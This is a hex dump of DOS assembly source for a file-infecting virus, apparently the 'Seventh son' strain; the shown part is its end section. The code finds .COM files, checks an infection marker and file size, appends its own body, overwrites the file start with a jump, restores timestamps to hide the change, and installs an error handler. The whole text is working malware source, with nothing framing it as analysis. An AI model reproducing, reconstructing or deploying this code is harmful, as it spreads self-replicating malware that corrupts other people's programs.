|000010a0| 65 74 75 72 6e 31 0d 0d | 0a 20 20 20 20 20 20 20 |eturn1..|. |
|000010b0| 20 20 20 20 20 20 20 20 | 20 78 63 68 67 20 20 20 | | xchg |
|000010c0| 20 62 78 2c 61 78 0d 0d | 0a 0d 0d 0a 20 20 20 20 | bx,ax..|.... |
|000010d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|000010e0| 20 20 20 20 61 78 2c 35 | 37 30 30 68 20 20 20 20 | ax,5|700h |
|000010f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 67 65 74 | | ;get|
|00001100| 20 66 69 6c 65 20 64 61 | 74 65 20 26 20 74 69 6d | file da|te & tim|
|00001110| 65 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |e... | |
|00001120| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 0d 0d | int | 21..|
|00001130| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001140| 20 70 75 73 68 20 20 20 | 20 63 78 0d 0d 0a 20 20 | push | cx... |
|00001150| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 | | pu|
|00001160| 73 68 20 20 20 20 64 78 | 0d 0d 0a 0d 0d 0a 20 20 |sh dx|...... |
|00001170| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f | | mo|
|00001180| 76 20 20 20 20 20 63 78 | 2c 34 20 20 20 20 20 20 |v cx|,4 |
|00001190| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 72 | | ;r|
|000011a0| 65 61 64 20 62 65 67 69 | 6e 20 6f 66 20 66 69 6c |ead begi|n of fil|
|000011b0| 65 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |e... | |
|000011c0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 78 2c 73 | mov | dx,s|
|000011d0| 69 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |i... | |
|000011e0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 68 2c 33 | mov | ah,3|
|000011f0| 66 68 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |fh... | |
|00001200| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 32 31 0d | int| 21.|
|00001210| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |..... | |
|00001220| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 62 79 74 | cmp| byt|
|00001230| 65 20 70 74 72 20 5b 73 | 69 5d 2c 34 44 68 20 20 |e ptr [s|i],4Dh |
|00001240| 20 20 20 20 20 3b 61 6c | 72 65 61 64 79 20 69 6e | ;al|ready in|
|00001250| 66 65 63 74 65 64 20 6f | 72 20 61 6e 20 0d 0d 0a |fected o|r an ...|
|00001260| 45 58 45 3f 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |EXE?... | |
|00001270| 20 20 20 20 20 20 20 6a | 65 20 20 20 20 20 20 72 | j|e r|
|00001280| 65 74 75 72 6e 32 0d 0d | 0a 20 20 20 20 20 20 20 |eturn2..|. |
|00001290| 20 20 20 20 20 20 20 20 | 20 63 6d 70 20 20 20 20 | | cmp |
|000012a0| 20 62 79 74 65 20 70 74 | 72 20 5b 73 69 5d 2c 35 | byte pt|r [si],5|
|000012b0| 41 68 20 20 20 20 20 20 | 20 3b 6f 72 20 61 20 77 |Ah | ;or a w|
|000012c0| 65 69 72 64 20 45 58 45 | 3f 0d 0d 0a 20 20 20 20 |eird EXE|?... |
|000012d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 65 20 20 | | je |
|000012e0| 20 20 20 20 72 65 74 75 | 72 6e 32 0d 0d 0a 0d 0d | retu|rn2.....|
|000012f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001300| 20 6d 6f 76 20 20 20 20 | 20 61 6c 2c 32 20 20 20 | mov | al,2 |
|00001310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001320| 20 3b 67 6f 20 74 6f 20 | 65 6e 64 20 6f 66 20 66 | ;go to |end of f|
|00001330| 69 6c 65 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |ile... | |
|00001340| 20 20 20 20 20 20 63 61 | 6c 6c 20 20 20 20 73 65 | ca|ll se|
|00001350| 65 6b 0d 0d 0a 0d 0d 0a | 20 20 20 20 20 20 20 20 |ek......| |
|00001360| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 20 20 | |cmp |
|00001370| 61 78 2c 4d 41 58 54 41 | 52 47 45 54 20 20 20 20 |ax,MAXTA|RGET |
|00001380| 20 20 20 20 20 20 20 20 | 3b 63 68 65 63 6b 20 6c | |;check l|
|00001390| 65 6e 67 74 68 20 6f 66 | 20 66 69 6c 65 0d 0d 0a |ength of| file...|
|000013a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000013b0| 6a 6e 62 20 20 20 20 20 | 72 65 74 75 72 6e 32 0d |jnb |return2.|
|000013c0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|000013d0| 20 20 63 6d 70 20 20 20 | 20 20 61 78 2c 4d 49 4e | cmp | ax,MIN|
|000013e0| 54 41 52 47 45 54 0d 0d | 0a 20 20 20 20 20 20 20 |TARGET..|. |
|000013f0| 20 20 20 20 20 20 20 20 | 20 6a 62 65 20 20 20 20 | | jbe |
|00001400| 20 72 65 74 75 72 6e 32 | 0d 0d 0a 0d 0d 0a 20 20 | return2|...... |
|00001410| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 | | pu|
|00001420| 73 68 20 20 20 20 61 78 | 0d 0d 0a 20 20 20 20 20 |sh ax|... |
|00001430| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00001440| 20 20 20 63 78 2c 46 49 | 4c 45 4c 45 4e 20 20 20 | cx,FI|LELEN |
|00001450| 20 20 20 20 20 20 20 20 | 20 20 20 3b 77 72 69 74 | | ;writ|
|00001460| 65 20 70 72 6f 67 72 61 | 6d 20 74 6f 20 65 6e 64 |e progra|m to end|
|00001470| 20 6f 66 20 0d 0d 0a 66 | 69 6c 65 0d 0d 0a 20 20 | of ...f|ile... |
|00001480| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f | | mo|
|00001490| 76 20 20 20 20 20 61 68 | 2c 34 30 68 0d 0d 0a 20 |v ah|,40h... |
|000014a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 69 | | i|
|000014b0| 6e 74 20 20 20 20 20 32 | 31 0d 0d 0a 20 20 20 20 |nt 2|1... |
|000014c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6d 70 20 | | cmp |
|000014d0| 20 20 20 20 61 78 2c 63 | 78 20 20 20 20 20 20 20 | ax,c|x |
|000014e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 61 72 65 | | ;are|
|000014f0| 20 61 6c 6c 20 62 79 74 | 65 73 20 77 72 69 74 74 | all byt|es writt|
|00001500| 65 6e 3f 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |en?... | |
|00001510| 20 20 20 20 20 20 70 6f | 70 20 20 20 20 20 61 78 | po|p ax|
|00001520| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00001530| 20 20 20 6a 6e 7a 20 20 | 20 20 20 72 65 74 75 72 | jnz | retur|
|00001540| 6e 32 0d 0d 0a 0d 0d 0a | 20 20 20 20 20 20 20 20 |n2......| |
|00001550| 20 20 20 20 20 20 20 20 | 78 63 68 67 20 20 20 20 | |xchg |
|00001560| 61 78 2c 62 70 0d 0d 0a | 20 20 20 20 20 20 20 20 |ax,bp...| |
|00001570| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00001580| 61 6c 2c 30 20 20 20 20 | 20 20 20 20 20 20 20 20 |al,0 | |
|00001590| 20 20 20 20 20 20 20 20 | 3b 67 6f 20 74 6f 20 62 | |;go to b|
|000015a0| 65 67 69 6e 20 6f 66 20 | 66 69 6c 65 0d 0d 0a 20 |egin of |file... |
|000015b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|000015c0| 61 6c 6c 20 20 20 20 73 | 65 65 6b 0d 0d 0a 0d 0d |all s|eek.....|
|000015d0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000015e0| 20 6d 6f 76 20 20 20 20 | 20 77 6f 72 64 20 70 74 | mov | word pt|
|000015f0| 72 20 5b 73 69 5d 2c 30 | 45 39 34 44 68 20 20 20 |r [si],0|E94Dh |
|00001600| 20 3b 77 72 69 74 65 20 | 6d 61 72 6b 20 61 6e 64 | ;write |mark and|
|00001610| 20 0d 0d 0a 6a 75 6d 70 | 2d 63 6f 6d 6d 61 6e 64 | ...jump|-command|
|00001620| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00001630| 20 20 20 6d 6f 76 20 20 | 20 20 20 77 6f 72 64 20 | mov | word |
|00001640| 70 74 72 20 5b 73 69 2b | 32 5d 2c 62 70 0d 0d 0a |ptr [si+|2],bp...|
|00001650| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001660| 6d 6f 76 20 20 20 20 20 | 61 68 2c 34 30 68 0d 0d |mov |ah,40h..|
|00001670| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001680| 20 69 6e 74 20 20 20 20 | 20 32 31 0d 0d 0a 0d 0d | int | 21.....|
|00001690| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000016a0| 20 69 6e 63 20 20 20 20 | 20 62 79 74 65 20 70 74 | inc | byte pt|
|000016b0| 72 20 5b 64 69 5d 20 20 | 20 20 20 20 20 20 20 20 |r [di] | |
|000016c0| 20 3b 6e 75 6d 62 65 72 | 20 6f 66 20 6e 65 78 74 | ;number| of next|
|000016d0| 20 73 6f 6e 0d 0d 0a 0d | 0d 0a 72 65 74 75 72 6e | son....|..return|
|000016e0| 32 3a 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |2: | pop |
|000016f0| 20 20 64 78 20 20 20 20 | 20 20 20 20 20 20 20 20 | dx | |
|00001700| 20 20 20 20 20 20 20 20 | 20 20 3b 72 65 73 74 6f | | ;resto|
|00001710| 72 65 20 66 69 6c 65 20 | 64 61 74 65 20 26 20 0d |re file |date & .|
|00001720| 0d 0a 74 69 6d 65 0d 0d | 0a 20 20 20 20 20 20 20 |..time..|. |
|00001730| 20 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 | | pop |
|00001740| 20 63 78 0d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 | cx... | |
|00001750| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 78 | mo|v ax|
|00001760| 2c 35 37 30 31 68 0d 0d | 0a 20 20 20 20 20 20 20 |,5701h..|. |
|00001770| 20 20 20 20 20 20 20 20 | 20 69 6e 74 20 20 20 20 | | int |
|00001780| 20 32 31 0d 0d 0a 0d 0d | 0a 20 20 20 20 20 20 20 | 21.....|. |
|00001790| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|000017a0| 20 61 68 2c 33 45 68 20 | 20 20 20 20 20 20 20 20 | ah,3Eh | |
|000017b0| 20 20 20 20 20 20 20 20 | 20 3b 63 6c 6f 73 65 20 | | ;close |
|000017c0| 74 68 65 20 66 69 6c 65 | 0d 0d 0a 20 20 20 20 20 |the file|... |
|000017d0| 20 20 20 20 20 20 20 20 | 20 20 20 69 6e 74 20 20 | | int |
|000017e0| 20 20 20 32 31 0d 0d 0a | 0d 0d 0a 72 65 74 75 72 | 21...|...retur|
|000017f0| 6e 31 3a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |n1: | mov |
|00001800| 20 20 20 61 68 2c 34 46 | 68 20 20 20 20 20 20 20 | ah,4F|h |
|00001810| 20 20 20 20 20 20 20 20 | 20 20 20 3b 66 69 6e 64 | | ;find|
|00001820| 20 6e 65 78 74 20 66 69 | 6c 65 0d 0d 0a 20 20 20 | next fi|le... |
|00001830| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6a 6d 70 | | jmp|
|00001840| 20 20 20 20 20 73 68 6f | 72 74 20 69 6e 66 6c 6f | sho|rt inflo|
|00001850| 6f 70 0d 0d 0a 0d 0d 0a | 73 74 6f 70 3a 20 20 20 |op......|stop: |
|00001860| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|00001870| 64 78 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |dx | |
|00001880| 20 20 20 20 20 20 20 20 | 3b 72 65 73 74 6f 72 65 | |;restore|
|00001890| 20 44 54 41 20 61 64 72 | 65 73 0d 0d 0a 20 20 20 | DTA adr|es... |
|000018a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 6f 70 | | pop|
|000018b0| 20 20 20 20 20 64 73 0d | 0d 0a 20 20 20 20 20 20 | ds.|.. |
|000018c0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 | | mov |
|000018d0| 20 20 61 68 2c 31 41 68 | 0d 0d 0a 20 20 20 20 20 | ah,1Ah|... |
|000018e0| 20 20 20 20 20 20 20 20 | 20 20 20 69 6e 74 20 20 | | int |
|000018f0| 20 20 20 32 31 0d 0d 0a | 0d 0d 0a 20 20 20 20 20 | 21...|... |
|00001900| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 | | pop |
|00001910| 20 20 20 61 78 20 20 20 | 20 20 20 20 20 20 20 20 | ax | |
|00001920| 20 20 20 20 20 20 20 20 | 20 20 20 3b 72 65 73 74 | | ;rest|
|00001930| 6f 72 65 20 69 6e 74 32 | 34 20 76 65 63 74 6f 72 |ore int2|4 vector|
|00001940| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00001950| 20 20 20 70 6f 70 20 20 | 20 20 20 64 73 0d 0d 0a | pop | ds...|
|00001960| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001970| 70 6f 70 20 20 20 20 20 | 64 78 0d 0d 0a 20 20 20 |pop |dx... |
|00001980| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 69 6e 74 | | int|
|00001990| 20 20 20 20 20 32 31 0d | 0d 0a 0d 0d 0a 20 20 20 | 21.|..... |
|000019a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 6f 70 | | pop|
|000019b0| 20 20 20 20 20 61 78 20 | 20 20 20 20 20 20 20 20 | ax | |
|000019c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 72 65 | | ;re|
|000019d0| 73 74 6f 72 65 20 63 74 | 72 6c 2d 62 72 65 61 6b |store ct|rl-break|
|000019e0| 20 66 6c 61 67 0d 0d 0a | 20 20 20 20 20 20 20 20 | flag...| |
|000019f0| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|00001a00| 64 78 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |dx... | |
|00001a10| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 32 31 0d | int| 21.|
|00001a20| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |..... | |
|00001a30| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 63 73 0d | pus|h cs.|
|00001a40| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00001a50| 20 20 70 75 73 68 20 20 | 20 20 63 73 0d 0d 0a 20 | push | cs... |
|00001a60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 | | p|
|00001a70| 6f 70 20 20 20 20 20 64 | 73 0d 0d 0a 20 20 20 20 |op d|s... |
|00001a80| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 | | pop |
|00001a90| 20 20 20 20 65 73 0d 0d | 0a 0d 0d 0a 20 20 20 20 | es..|.... |
|00001aa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 72 65 74 0d | | ret.|
|00001ab0| 0d 0a 0d 0d 0a 73 65 65 | 6b 3a 20 20 20 20 20 20 |.....see|k: |
|00001ac0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 68 2c | mov| ah,|
|00001ad0| 34 32 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |42... | |
|00001ae0| 20 20 20 20 20 63 77 64 | 0d 0d 0a 69 6e 74 32 31 | cwd|...int21|
|00001af0| 3a 20 20 20 20 20 20 20 | 20 20 20 78 6f 72 20 20 |: | xor |
|00001b00| 20 20 20 63 78 2c 63 78 | 0d 0d 0a 20 20 20 20 20 | cx,cx|... |
|00001b10| 20 20 20 20 20 20 20 20 | 20 20 20 69 6e 74 20 20 | | int |
|00001b20| 20 20 20 32 31 0d 0d 0a | 20 20 20 20 20 20 20 20 | 21...| |
|00001b30| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00001b40| 63 6c 2c 34 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |cl,4... | |
|00001b50| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 64 | m|ov d|
|00001b60| 78 2c 73 69 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |x,si... | |
|00001b70| 20 20 20 20 20 20 20 72 | 65 74 0d 0d 0a 0d 0d 0a | r|et......|
|00001b80| 0d 0d 0a 3b 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |...;****|********|
|00001b90| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001ba0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001bb0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001bc0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 0d 0d 0a 2a 2a |********|***...**|
|00001bd0| 2a 2a 2a 0d 0d 0a 3b 2a | 20 20 20 20 20 20 20 20 |***...;*| |
|00001be0| 20 20 20 20 20 20 49 6e | 74 65 72 75 70 74 20 68 | In|terupt h|
|00001bf0| 61 6e 64 6c 65 72 20 32 | 34 0d 0d 0a 3b 2a 2a 2a |andler 2|4...;***|
|00001c00| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001c10| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001c20| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001c30| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001c40| 2a 2a 2a 2a 0d 0d 0a 2a | 2a 2a 2a 2a 0d 0d 0a 0d |****...*|****....|
|00001c50| 0d 0a 6e 69 32 34 3a 20 | 20 20 20 20 20 20 20 20 |..ni24: | |
|00001c60| 20 20 6d 6f 76 20 20 20 | 20 20 61 6c 2c 30 33 0d | mov | al,03.|
|00001c70| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00001c80| 20 20 69 72 65 74 0d 0d | 0a 0d 0d 0a 0d 0d 0a 3b | iret..|.......;|
|00001c90| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001ca0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001cb0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001cc0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001cd0| 2a 2a 2a 2a 2a 2a 2a 0d | 0d 0a 2a 2a 2a 2a 2a 0d |*******.|..*****.|
|00001ce0| 0d 0a 3b 2a 20 20 20 20 | 20 20 20 20 20 20 20 20 |..;* | |
|00001cf0| 20 20 44 61 74 61 0d 0d | 0a 3b 2a 2a 2a 2a 2a 2a | Data..|.;******|
|00001d00| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001d10| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001d20| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001d30| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00001d40| 2a 0d 0d 0a 2a 2a 2a 2a | 2a 0d 0d 0a 0d 0d 0a 67 |*...****|*......g|
|00001d50| 65 6e 65 72 61 74 69 6f | 6e 20 20 20 20 20 20 64 |eneratio|n d|
|00001d60| 62 20 20 20 20 20 20 31 | 2c 31 0d 0d 0a 73 6f 6e |b 1|,1...son|
|00001d70| 74 78 74 20 20 20 20 20 | 20 20 20 20 20 64 62 20 |txt | db |
|00001d80| 20 20 20 20 20 27 53 65 | 76 65 6e 74 68 20 73 6f | 'Se|venth so|
|00001d90| 6e 20 6f 66 20 61 20 73 | 65 76 65 6e 74 68 20 73 |n of a s|eventh s|
|00001da0| 6f 6e 27 2c 30 44 68 2c | 20 30 41 68 2c 20 27 24 |on',0Dh,| 0Ah, '$|
|00001db0| 27 0d 0d 0a 66 69 6c 65 | 6e 61 6d 65 20 20 20 20 |'...file|name |
|00001dc0| 20 20 20 20 64 62 20 20 | 20 20 20 20 27 2a 2e 43 | db | '*.C|
|00001dd0| 4f 4d 27 2c 30 0d 0d 0a | 20 20 20 20 20 20 20 20 |OM',0...| |
|00001de0| 20 20 20 20 20 20 20 20 | 64 62 20 20 20 20 20 20 | |db |
|00001df0| 27 82 a8 b0 b3 b1 27 0d | 0d 0a 0d 0d 0a 65 6e 64 |'.....'.|.....end|
|00001e00| 3a 0d 0d 0a 0d 0d 0a 63 | 73 65 67 20 20 20 20 20 |:......c|seg |
|00001e10| 20 20 20 20 20 20 20 65 | 6e 64 73 0d 0d 0a 20 20 | e|nds... |
|00001e20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 65 6e | | en|
|00001e30| 64 20 20 20 20 20 62 65 | 67 69 6e 0d 0d 0a 0d 0d |d be|gin.....|
|00001e40| 0a 20 0d 0d 0a 0d 0d 0a | 0d 0d 0a |. ......|... |
+--------+-------------------------+-------------------------+--------+--------+